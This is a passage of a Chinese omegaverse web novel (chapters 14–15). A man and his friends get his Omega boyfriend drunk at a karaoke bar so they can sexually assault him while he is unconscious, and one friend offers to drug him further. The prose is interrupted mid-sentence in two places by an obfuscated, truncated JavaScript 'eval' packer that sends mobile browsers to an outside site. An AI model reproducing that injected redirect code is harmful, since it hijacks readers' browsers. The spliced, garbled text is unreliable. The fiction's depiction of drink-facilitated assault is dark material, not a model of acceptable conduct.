穆与微微眯起眼,心里始终咽不下那口气,他就不信了,一个社会底层的劣等Omega,他还能拿捏不住? 迟早有一天,他会让冉小风离不开他,他等着看冉小风跪在地上撒泼哭闹,求他别扔下他的样子。 14.第 14 章 冉小风渐渐冷静下来,重新投入到工作中,他不知道穆与什么时候离开的,这件事以后,他没有再收到穆与发来的消息。 他本来还借口是穆与太忙,可直到中午都没有收到穆与的消息,他才意识到了事情的严峻性。 人已经到了楼下,手机忽然震动起来,是穆与打来的电话。 冉小风心中一颤,盯着屏幕好一会儿,才将电话接起来。 他小心翼翼地“喂”了一声。 “小风哥,你工作还没结束吗?”穆与的语气一如既往,好像早上什么事也没发生过,“菜都已经送到我房间来了,过会儿该凉了。” 冉小风愣了愣,这才反应过来,原来穆与早上不是随口一说。 “工作刚结束,我现在就过来。”冉小风说着转身,重新按了电梯按钮。 他抵达了二十层,心中又有些忐忑,事情真的像穆与表现得那样简单吗? 他都已经拒绝的那么明显了,现在过去,应该只是单纯地吃饭吧? 他站在2008号房间,平缓了一下内心的忐忑,抬手敲门。 门很快开了,穆与一脸笑地站在门口:“敲门干嘛,怎么不直接进来?” “……习惯了。”冉小风道。 穆与没多说什么,往餐桌走去,桌上已经摆满了各式各样的菜,冉小风很熟悉,都是酒店餐厅的。 既然如此,为什么不直接去餐厅吃…… 冉小风扫一眼穆与的背影,又很快收回视线,有了早上的经历,他很难不多想,更何况穆与本身就是一个想到什么做什么的人,和他在一起前,私生活也不怎么检点。 他一边揣测着穆与,同时又有些自责,他原来这样不相信穆与。 穆与走去餐桌前坐下,冉小风脚步顿了顿,从他身旁走过,在他的视线下到对面坐了下来。 穆与眼中划过一丝异样,很快消散不见,他面不改色地往冉小风碗里夹菜:“多吃一点,我今天去了后厨才知道,做菜也是体力活,你们做甜品肯定也很累吧?” 提到早上的事,冉小风就有些坐不住,他麻木地往嘴里塞菜,回道:“还好,不是很累。” 他不知是不是自己的错觉,气氛似乎忽然沉默了,穆与没有动作,他低着头看不见,却能感受到头顶传来炽热的目光。 穆与放下了筷子。 “小风哥,你很紧张吗?”穆与问,“我感觉你在防备我。” “……没有。”冉小风违心地说。 “是因为早上的那件事吗?我承认是我做错了,我跟你道歉,现在也只是想和你一起吃饭而已。”穆与说完顿了顿,似乎想到了什么,缓缓道,“还是说,你在担心我现在会做出些什么事情?” “……”冉小风没说话,机械地咀嚼着。 “你放心,在你没答应我之前,我怎么会强迫你呢?那可是犯法的。”穆与道,“虽然被你拒绝有点失落,但我后来站在你的角度想了想,我们才相处这么短的时间,你都没有完全信任我,会害怕也是应该的,是我太急了,害你现在更不相信我了。” 冉小风眼睛闪了闪:“我没有不相信你。” “你从进了我的房间后,都没正眼看过我。” 冉小风抿着唇,抬起眼睛看向穆与:“抱歉,我只是在吃饭。” 穆与歪了下头:“那你能坐到我身边来吗?” “……”冉小风呆滞了一下。 这段时间吃饭,他们总是坐在一起,吃的时候穆与没事就会抓抓他的手,他不好吃饭,还非要喂他吃,这样对比下来,他现在的表现确实很反常。 冉小风没说话,起身绕过餐桌,在穆与边上坐了下来。 他将碗筷端到面前,继续往嘴里塞食物,余光瞥见穆与没动,两人间隔着一些距离,他就这么看着他。 冉小风被看得味如嚼蜡,吃也吃不好,他只好转头看向穆与:“你不吃吗?” 穆与眨了下眼睛,表情有些委屈:“小风哥,我还可以抱你、亲你吗?” 那模样好像被抛弃的孩子,在这样一张脸上表现出来,比普通人还要可怜兮兮。 冉小风轻叹一口气,放下碗筷,他侧过身,主动将穆与揽进怀里。 他还是第一次抱别人,动作有些僵硬,他搜刮着脑子里贫瘠的知识,学着抬手摸穆与的头:“你当然可以,我没有防备你,我只是还没有准备好。” “我知道,你不用解释。”穆与动了动脑袋,更紧地贴着冉小风的胸口,“反正我们的未来还很长,我会等到你完全接受我的那一天。” 冉小风笑起来:“好。” “今天工作结束,陪我去玩儿吧。”穆与从冉小风怀里抬起脑袋,看着冉小风,“我和我朋友介绍了你,他们都很想见你一面。” 冉小风微怔,心中有些为难,穆与工作结束的比他晚,那时候去玩,不知道几点才能结束,他家本就离得远,要是玩到大半夜,他回家也很不方便。 而且,他一个Omega和一群Alpha混在一起,怎么想都不太好。 穆与似乎看出冉小风的顾虑,继续道:“是那次在厕所和我一起的人,还有一个我从小就认识的发小,你还记得我们第一次吃饭的那家餐厅吗?他是那家餐厅创始人的儿子,那餐厅楼下有个KTV,也是他家名下的,我们平时就去那儿唱唱歌,喝点小酒。” “……可我不喝酒。”冉小风道。 “我知道,我和他们说过了,不会让你喝酒的。”穆与凑过来抱住他,“也不会玩到很晚,只是互相认识一下,我一下班就过去,如果你担心,到时候我送你回家。” 冉小风沉默了。 穆与话都说到了这个份上,他再继续拒绝,好像显得小题大做了。 他是一个成年人,还比穆与大好几岁,以前一个人的时候,上夜班走夜路的次数也不少,现在和最亲近的人出去玩,他好像也没有拒绝的理由。 最后他点了点头,答应了穆与。 冉小风比穆与早了一个小时下班,因为要等穆与,他没急着走,而是继续在厨房加了会儿班。 为穆千鹤制作生日蛋糕听起来简单,真要确保到时候完美无缺,需要花费很大的心血,蛋糕这种东西重在新鲜,他每天都在练习手法,为的就是到时候以最快的速度将蛋糕制作出来,蛋糕上的裱花、纹路繁琐复杂,一步都不能错,而这样一项大工程,仅靠三个人一起完成。 练习的时间过得很快,直到穆与电话打了过来,他才放下手中的工作,往楼下走去。 穆与换了身衣服,白色衬衣领口开到胸前,长裤下是修长的腿,似乎还将头发定了型,看起来风流倜傥。 冉小风有些局促,没有表现出来,他哪知道自己今天会去见穆与的朋友,身上穿的还是洗得泛白的衣服,他在心里暗下决定,等自己第一笔工资发下来,他得去买几件像样的衣服穿。 穆与没注意到他的异常,看起来心情极好,他带着冉小风去地下室取车,朝着目的地驶去。 迎上前来的还是那个经理,穆与已经提前打过招呼,两人进了餐厅,经理直接将他们带去地下一层。 冉小风怎么也没想到,一个娱乐场所竟然会开在这么隐蔽的地方,电梯门一打开,他看到的是蓝色紫色混杂的昏暗灯光,大厅里传来有些失真的歌声,给这条路渲染上暧昧的氛围。 穆与低下头,嘴唇几乎贴在冉小风的耳朵上:“我们玩的时候不吃正餐,你要是想吃,我叫他们送下来。” 热气扫在耳朵上有些痒,冉小风朝边上偏了下脸,回道:“不用,我和你们一起就好。” 两人很快到了地方,经理替他们推开门,里面唱得破音的歌声传了出来,刺得冉小风皱了皱眉头。 他看清包间里面的场景,眉头一松,目光都有些呆滞。 包间里坐着四五个人,男女都有,站着的那个是冉小风唯一认识的,那时候跟在穆与身边的张世诚,那惨绝人寰的歌声也是从他嘴巴里传出来。 坐着的那几个,冉小风一个也不认识,坐在正中间的男人一脸嫌弃地看着张世诚,两条手臂里各倚着一个,另外两人扭捏地坐在一边,笑脸盈盈地看着张世诚,这样暧昧的姿势,他一下便猜出来,这些人是什么关系。 穆与嫌弃地“啧”了一声,伸手按下门口屏幕的麦克风静音:“都说了别叫人,你们有病啊。” 张世诚的声音戛然而止,看向穆与,他放下话筒走过来,嘿嘿笑着:“穆哥,你来了啊,是温炀让喊的,本来说你来之前就叫他们走,没想到你来这么快。” 穆与朝沙发上坐着的温炀看去,温炀一脸无所谓,松开手里的两人,朝着他们使了个眼神,几个人都听话地走了。 这几人都是Omega,路过时还带着各种气味的信息素,穆与捂着口鼻,脸黑了一大半。 温炀倒是乐呵呵地笑,起身走了过来:“你就是穆与说的冉小风啊,我是温炀,是穆与发小,你想知道他小时候的事,我都能告诉你。” 穆与另一半的脸也黑了:“滚蛋。” 张世诚也挤了过来:“风哥,我得帮咱穆哥澄清一下,他接受不了Omega,一起玩的时候一次没点过,都是我们在他没来前偷着点点,而且自从跟你一起后,他连Beta都没碰过了。” 冉小风没说话,他清楚穆与以前的生活混乱,毕竟第一次重逢就让他遇见那样的事情,决定和穆与恋爱后,他不想抓着以前那些事不放,所以从来没提过,但现在被人说起来,他只觉得心中有些不是滋味,却又不好表现出来。 面前三人都是Alpha,将冉小风围在中间,即使态度友好,也让他感到无形的压力,他下意识朝穆与贴近了一些。 “别站着说话了,进去坐,张世诚,你把换气打开,信息素的气味熏死人了。”穆与牵住冉小风的手,挥开面前二人,朝沙发走去。 张世诚听话地开了换气,又将空调温度调到最低,打开麦克风继续唱起来。 他那声音杀伤力极大,但听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853754|174706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得久了,又觉得配这场景刚刚好,至少吸引了许多视线,让冉小风觉得不那么尴尬。 穆与低头拿手机点了几首歌,又将手机递给冉小风,示意他点。 冉小风摇摇头:“我不会唱。” “唱一个嘛,随便唱什么都行。”穆与晃着手机,语气想撒娇。 冉小风没办法,只好将手机拿过来选歌,他听歌听得少,歌单是十年前的,会唱的真没几首,他也没在别人面前唱过,不知道自己唱歌跑不跑调。 他思忖片刻,点了首最熟悉的老歌。 他没想到的是,手机刚还给穆与,这首歌就被他顶到最前面,张世诚一首歌嚎完,紧接着就是他的。 穆与将另一个话题递给他时,他还有些紧张,唱出来的第一句话甚至打着颤,直到歌曲中段时才稍微好了一些。 几人不约而同的安静下来,屋子里回荡着他一人的嗓音,等他唱完一整首,穆与第一个摇起包间里准备的铃铛。 “小风哥,你唱得真好听。”穆与夸赞道。 冉小风有些不好意思,低着头含蓄地笑:“谢谢。” “我也唱一首,唱给你听的。”穆与拿过话筒,笑得很暧昧。 张世诚懂事地切掉剩余的伴奏,跳到穆与的歌上,穆与点的一首英文歌,冉小风听不太懂,但屏幕上的MV很是色/情,再配上穆与略微低沉的嗓音,听得他脸红心跳的。 一首歌唱完,他也不管周围有没有人看,压着冉小风的头在他脸上狠狠亲了一口。 一旁的温炀看见了,夸张地抖了抖身体,后面又是张世诚的歌,他站在屏幕前手舞足蹈地唱,气氛再次闹腾起来。 穆与从进门开始就牵着冉小风的手,对他嘘寒问暖的,起初冉小风还有些局促,现在也放开了不少。 正唱得开心,门忽然被打开了,服务员推着小车走进来,车上放了一个果盘,剩下的全是酒。 服务员将酒一瓶瓶摆在茶几上,穆与斜睨温炀一眼:“都说了今天不喝酒,你又发什么疯。” “来都来了,哪能真不喝酒啊。”温炀依旧一脸笑,他长得也挺帅,笑起来能迷倒不少人,但冉小风看着却很是难受。 等服务员走了,温炀一连开了四瓶酒,在桌前摆成一排,又将桌子边上的骰子拿了过来。 “一直唱多无聊,来玩儿啊。”温炀喊了张世诚过来,又问冉小风,“小风,你玩过吗?” 冉小风还没开口,穆与替他回道:“他不喝酒,不玩这个。” 温炀好笑道:“你是护妻狂魔啊?随便玩玩儿而已,不喝酒还不简单,他输了你帮他喝不就好了。” “……我没玩过,你们玩就好。”冉小风道。 温炀看向他:“别这样嘛,很简单的,我给你讲讲规则,玩一遍就会了。” 冉小风还想拒绝,穆与却道:“我看你今天就是欠收拾,小风哥,你跟他玩,输了没事儿,我帮你喝。” “……”冉小风没说话,温炀已经将骰子晃着直响,压到桌上开始讲规则。 游戏规则很简单,冉小风听一遍就会了,但真实操起来,其中种种门道还得研究。 他们三个一起玩,穆与在旁边看着,起初冉小风运气挺好,一直没输,张世诚一连喝了好几杯,温炀也没幸免。 但到了后面,冉小风就开始倒霉了,虽说期间也赢过几次,但要论喝酒的数量,还是穆与喝得最多。 看着穆与仰头将酒往肚子里灌,冉小风有些担忧,他从没见谁一口气喝过这么多,在穆与又一瓶酒喝完,他终于受不了了:“要不今天就玩到这里吧。” 温炀放下骰子,没强求,却又开了三瓶酒:“咱们这游戏有个规则,提出结束的人得再喝三瓶。” 冉小风皱起眉头,难得有些生气,但还没发作,温炀继续说:“这可不是我现编的,不信你问穆与,以前咱们都这么玩。” 冉小风看向穆与,穆与也跟着点了点头,他眼睛还算清透,但脸已经开始发红,脸上的表情也晕乎乎的:“没事,小风哥,你不想玩就不玩了。” 穆与说着便拿起酒瓶,二话不说开始灌,他喝得很急,酒从边缘露出来,顺着喉结流向胸口。 两瓶喝完,温炀还起哄道:“你这喝一瓶漏一半的,待会儿还这样得加一瓶啊。” 这话听得冉小风彻底怒了,他简直不敢相信,这是朋友能说的话,到底是朋友还是仇人,喝个酒恨不得致对方于死地? 见穆与要喝最后一瓶,他将酒抢了过来:“我自己来。” 穆与脸上已经有些发懵,震惊地看着冉小风。 “小风哥,你别……” 话还没说完,冉小风已经对着酒瓶吹起酒来,他对自己的酒量毫无把握,这是他第一次喝酒,烈酒入喉时的感受并不好,但他正处在愤怒当中,无暇理会这些。 他喝得很快,没等舌头感知到味道,就尽数吞进肚子里。 他没看到自己在抬头饮酒时,穆与脸上一闪而过得逞的笑容。 15.第 15 章 冉小风将喝空的酒瓶放到桌上,抬手擦了擦嘴角的酒水,苦味渐渐从嘴中绽开,喉咙仿佛被灼烧,顺着食道到胃里都热腾腾的。 面前几人都惊讶地看着他,穆与先反应过来,揽住他的肩膀:“小风哥,你还好吗?” 冉小风没说话,只摇了摇头,就这么轻微晃动一下脑袋,他就有种头晕目眩的感受。 他不喜欢酒,以前连闻一闻都难受,这是他第一次喝,还一口气喝了这么多。 他不知道现在这样是不是喝醉的症状。 温炀鼓了两下掌:“你很厉害啊,第一次喝酒就吹一瓶,感觉怎么样?” “……”冉小风抬眼,冷淡地看着温炀,清澈的瞳孔深不见底,藏着隐忍的愠火,“可以结束了吗?” 这副模样竟让温炀看得呆滞了一下,他很快反应过来,笑着说:“可以可以,你要是还想玩,我们继续也行。” 冉小风移开视线,缓缓站起身:“我去一趟厕所。” 他感觉自己花了天大的力气,才在走路时没有晃荡,还好包间里就有独立卫生间,要是让他现在走出去,他都担心会不会在路上晕倒。 直到关上厕所门,冉小风才松懈下来,快步走到洗手池前,拿冷水洗了好几把脸。 他看着镜子里的自己,眼神迷离,脸颊泛红,是很明显的喝醉表现,那酒瓶子上写的全是洋文,他看不懂,没想到刚喝下肚时明明还没有很强烈的感受,现在后劲上来了,竟然这么迅猛。 他感觉脑子里像装满了泥沙,沉甸甸的,意识倒是还算清醒,后颈处开始隐隐发烫,他赶紧从口袋里拿了抑制药吞了下去。 和穆与接触以后,他就养成了随身带药的好习惯,尽管已经习惯了穆与的气味,但穆与对他而言仍旧是特殊的人,如果没有抑制药维持,他还是会有失控的风险。 抑制药缓解了后颈的异常,冰冷的水给滚烫的脸降了降温,冉小风感觉自己正常了许多,他关了水龙头,拿纸将脸上的水擦拭干净,这才重新走出卫生间。 穆与不知什么时候守在了卫生间门口,见他出来赶紧迎上前:“小风哥,你好些了吗?” 他注意到冉小风额上的湿发,抬手贴在冉小风脸颊上,“你的脸好烫。” 仅仅这么一个小举动,冉小风的心脏却快速跳动起来,他别过脸道:“我没事。” 他走回沙发坐下,这次坐在了最边上,从刚才的那些活动,他已经看出了温炀恶劣的本性,他反感坐在温炀旁边。 游戏到此结束,几人又继续唱起歌来,张世诚依旧稳固着他歌王的地位,一口气声嘶力竭地唱了好几首,吵得送餐盘进来的服务员都没多待一秒。 餐盘里摆满了各式各样的小蛋糕,穆与拿了一块,转身递到冉小风面前:“小风哥,你吃。” 冉小风回过神,将蛋糕接过来,从刚才坐下来开始,他便一直很安静,纵使张世诚在那吵吵闹闹,他也没什么反应。 他不知是酒的后劲继续发作,还是抑制药的缘故,现在浑身没有一点力气,又乏又困,搞得他整个人都神游在世界之外,反应也有些迟钝。 他麻木地吃着蛋糕,穆与注意到他的异样:“你怎么了?哪里不舒服吗?” 冉小风很轻地摇了摇头:“我没事……是不是不早了?” 他拿出手机看了眼时间,竟然已经快九点,虽然这个时间不算晚,但加上他回家的路程,到家都得11点了。 “我得回去了……”他一手还端着半块蛋糕,就要站起来,又被穆与拽了回去。 穆与都没使什么力气,冉小风就跌进他怀里,蛋糕险些掉在地上:“你路都走不稳,怎么回去?你放心,待会儿我叫代驾,把你送回家。” “……可是现在已经很晚了。” “也才九点嘛,待会儿就结束了,温炀刚刚叫了菜,吃完再走吧,来这里半天连肚子都没填饱呢。” 穆与的声音就在他身边,他却听得迷迷糊糊,好像离得很遥远,他没说话,就这么依偎在穆与怀里,怀抱的姿势让他很舒服,身体也放松下来,穆与以为他默许了,见他手里的蛋糕吃完,替他收走了盘子,搂着他没放。 酒和药的双重攻击威力极大,冉小风只觉得自己眼皮越来越沉,直到就连最后一丝光线也看不见,那些嘈杂的声音也越来越远,他很快就陷入沉睡当中。 包间的音乐被暂停,荡漾的光线也静止不动,整个环境都安静了下来。 穆与看着怀里熟睡的人,和温炀对视一眼,推着冉小风抬起脸。 “冉小风,冉小风?”他摇晃着冉小风的身体,冉小风却闭着眼一点反应也没有,他看向温炀,脸黑了一半,“这就是你出的好主意?” 温炀耸耸肩膀,无所谓地说:“每个人醉酒的反应不一样,他是睡觉那一挂的,这不是好事吗?没耍酒疯就不错了。” “……那他睡着了我能干嘛?” “就正常干呀。”温炀眯着眼笑起来,他朝着穆与凑过去,好好观赏了一把冉小风的脸,那模样虽不如他见过的那些Omega精致,但五官小巧得正正好,颇有种小家碧玉的感觉。 温炀啧啧两声:“睡着任你摆布还不好?你要担心他醒,我还能给你加点料。” “……” 温炀的视线还在冉小风身上流窜,他抬手拍拍穆与的肩:“我这么费劲帮你,你玩完了也给我玩玩?” 穆与的眼神仿佛要吃人,一掌挥开温炀的手:“滚。” 温炀避开穆与的攻击,撇撇嘴站起身:“真没劲,张世诚,我们走吧,让他们过二人世界去。” 张世诚跟在温炀后面走了,以穆与对他们的了解,这两人肯定换了间房,将那群赶走的Omega又招了回来。 穆与有时候挺烦温炀,他找Beta是为了发泄欲望,这人却是单纯爱玩,花样更是一大堆。 原本这次这损招,温炀还想给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他看着冉小风跌落在沙发上的模样,身上那件褪色的衣服被揉的皱巴巴的,白色的鞋也旧得泛黄,突然有些挫败。 他穆与是什么身份,想爬他床的Omega能排几条街,一个个都恨不得扒光了自己送给他,结果他居然要用这种方式对付冉小风? 冉小风这样的性格,要是他真在这种情况把他上了,只怕等他醒来知晓了一切,还要气愤地把他甩掉,那他得多没面子? 他简直气得咬牙,弯腰拿过桌上的纸巾盒,蹲到冉小风面前,一连扯了五张往他嘴上擦。 他想不通自己到底在干嘛,为什么就非得把心思花在这个人身上,可偏偏只有冉小风,是他唯一能接受的Omega,他是Alpha,还是优等Alpha,怎么可能满足于Beta? 他手指用力,将纸巾塞进冉小风嘴里,替他清理着口腔,看着这张睡脸,他真是又气又恨,却只能憋着一股闷气。 冉小风……他怎么会拿这个人没办法呢?